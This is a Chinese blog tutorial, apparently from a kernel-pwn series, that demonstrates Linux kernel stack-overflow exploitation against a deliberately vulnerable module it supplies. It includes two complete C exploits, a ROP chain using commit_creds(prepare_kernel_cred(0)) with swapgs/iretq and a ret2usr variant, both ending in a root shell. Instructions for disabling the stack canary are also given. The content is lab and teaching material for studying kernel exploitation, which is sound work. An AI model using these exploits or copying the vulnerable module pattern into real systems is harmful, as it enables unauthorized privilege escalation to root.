Linux Kernel Pwn Ⅲ:Stack Overflow

简单介绍内核中栈溢出的利用

内核态中的栈与用户态的栈功能是一致的,因此可以使用平常栈溢出的操作,劫持函数返回地址

Vul LKM

buf_overflow.c内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>

int buf_overflow_write(struct file *file, const char *buf, unsigned long len)
{
char localbuf[8];
memcpy(localbuf, buf, len);
return len;
}

static int __init buf_overflow_init(void)
{
printk(KERN_ALERT "buf_overflow driver init!\n");
create_proc_entry("overflow", 0666, 0)->write_proc = buf_overflow_write;
return 0;
}

static void __exit buf_overflow_exit(void)
{
printk(KERN_ALERT "buf_overflow driver exit!\n");
}

module_init(buf_overflow_init);
module_exit(buf_overflow_exit);

Exploit

pwn.c内容

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
char buf[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB";
int fd = open("/proc/overflow", O_WRONLY);
write(fd, buf, sizeof(buf));
return 0;
}

buf_overflow_write函数下断进入到memcpy

1580095843535.png

复制过后,可以发下,返回地址被 BBBBBBBB 覆盖了

1580095892778.png

继续执行提示Kernel panic那是因为canary的问题,关闭canary保护需要编辑源码中的.config文件,注释掉 CONFIG_CC_STACKPROTECTOR=y 这一项,大约在349行,然后重新编译内核,重新编译LKM,payload减少canary那8个字节,运行发现RIP停在了0x4141414141414141,也就是劫持了执行流

ROP

劫持执行流,利用ROP来实现commit_creds(prepare_kernel_cred(0))提权。提权这两个函数的ROP就不分析了,和内核态一样的

ROP执行完提权函数,需要从内核态返回到用户态,64位返回用户态是这两个指令

1
2
swapgs
iretq

内核中的gadget可以从vmlinux中提取出来,不过使用ROPgadget出来的部分不是可执行的,iretq可执行的gadget可以这样提取

1
objdump -j .text -d vmlinux | grep iretq | head -1

其中iretq所需的栈结构是

1
2
3
4
5
RIP 	用户地址
CS 代码段选择器
EFLAGS 状态信息
RSP 用户堆栈
SS 堆栈段选择器

可以用下面代码获得信息,RSP可以直接&一个局部变量来获取

1
2
3
4
5
6
7
8
9
10
unsigned long user_cs, user_ss, user_rflags;

static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

所以rop chain就是

1
2
3
4
5
6
7
8
9
prepare_kernel_cred
commit_creds
swapgs
iretq
RIP
CS
EFLAGS
RSP
SS

1580189553138.png

执行下去成功到达getshell函数

1580189602263.png

拿到root shell

1580189674431.png

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

#define commit_creds 0xffffffff81081290
#define prepare_kernel_cred 0xffffffff81081480
#define prdi_ret 0xffffffff8133791d
#define rax2rdi_prbp_ret 0xffffffff812858df
#define prcx_ret 0xffffffff810d7b73
#define rax2rdi_callrcx 0xffffffff81118825
#define rax2rdi_c_prbp_ret 0xffffffff812858dc
#define iretq 0xffffffff8100c93a
#define swapgs_pfq 0xffffffff8100ce6a
#define back 0xffffffff8100bfad
#define prcx 0xffffffff810d7b73

char payload[1000] = {0};
int payload_len = 0;

void join_data(long long data)
{
unsigned char buf[8] = {0};
memcpy(buf, &data, 8);
memcpy(payload + payload_len, buf, 8);
payload_len += 8;
}

void join_str(char *buf)
{
int len = strlen(buf);
memcpy(payload + payload_len, buf, len);
payload_len += len;
}

void get_shell()
{
execl("/bin/sh", "sh", NULL);
}

unsigned long long user_cs, user_ss, user_rflags;

static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
//printf("%p,%p,%p", user_cs, user_ss, user_rflags);
}

int main()
{
save_state();
int stack;
join_str("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
join_data(prdi_ret);
join_data(0);
join_data(prepare_kernel_cred);
join_data(rax2rdi_c_prbp_ret);
join_data(&stack);
join_data(commit_creds);
join_data(swapgs_pfq);
join_data(user_rflags);
join_data(iretq);
join_data(&get_shell);
join_data(user_cs);
join_data(user_rflags);
join_data(&stack);
join_data(user_ss);
int fd = open("/proc/overflow", O_WRONLY);
write(fd, payload, payload_len);
return 0;
}

ret2usr

既然可以劫持返回地址,那么可以考虑将返回地址修改成用户程序的地址,那么就相当于以ring 0级别执行用户程序,进而直接提权

因此在用户程序中利用汇编写一段提权与返回用户态,则可以直接拿到root shell

覆盖内核函数返回地址为用户程序

1580194333224.png

用户程序中利用内联汇编写相应操作

1580194496576.png

布置好栈结构jmp去swapgs

1580194553680.png

执行到iretq

1580194615577.png

拿到root shell

1580194700486.png

完整paylaod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

#define commit_creds 0xffffffff81081290
#define prepare_kernel_cred 0xffffffff81081480
#define prdi_ret 0xffffffff8133791d
#define rax2rdi_prbp_ret 0xffffffff812858df
#define prcx_ret 0xffffffff810d7b73
#define rax2rdi_callrcx 0xffffffff81118825
#define rax2rdi_c_prbp_ret 0xffffffff812858dc
#define iretq 0xffffffff8100c93a
#define swapgs_pfq 0xffffffff8100ce6a
#define back 0xffffffff8100bfad
#define prcx 0xffffffff810d7b73

char payload[1000] = {0};
int payload_len = 0;
unsigned long long user_cs, user_ss, user_rflags;
long long user_stack = 0;

void join_data(long long data)
{
unsigned char buf[8] = {0};
memcpy(buf, &data, 8);
memcpy(payload + payload_len, buf, 8);
payload_len += 8;
}

void join_str(char *buf)
{
int len = strlen(buf);
memcpy(payload + payload_len, buf, len);
payload_len += len;
}

void launch_shell()
{
execl("/bin/sh", "sh", NULL);
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"nop\n"
"mov %0, %%rax\n"
"push %1\n"
"push %2\n"
"push %3\n"
"push %4\n"
"push %5\n"
"push %6\n"
"push %7\n"
"jmp %%rax\n"
:
: "r" (swapgs_pfq), "r" (user_ss), "r" (&user_stack), "r" (user_rflags), "r" (user_cs), "r" (&launch_shell), "r" (iretq), "r" (user_rflags)
: "%rax"
);
}


static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory");
}

int main()
{
save_state();
int stack;
user_stack = &stack;
join_str("AAAAAAAAAAAAAAAAAAAAAAAA");
join_data(&user_stack);
join_data(&get_root);
int fd = open("/proc/overflow", O_WRONLY);
write(fd, payload, payload_len);
return 0;
}

ret2usr是基于SEMP保护未开启的条件下才能利用的,在开启情况下可以利用其他方法绕过,以后具体分析

Attachment

Stack_Overflow:链接: https://pan.baidu.com/s/1jBMT3mDP7Bm0Unqxl6FblA 提取码: sp2s

Reference

Linux Kernel ROP


  kernelpwn

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×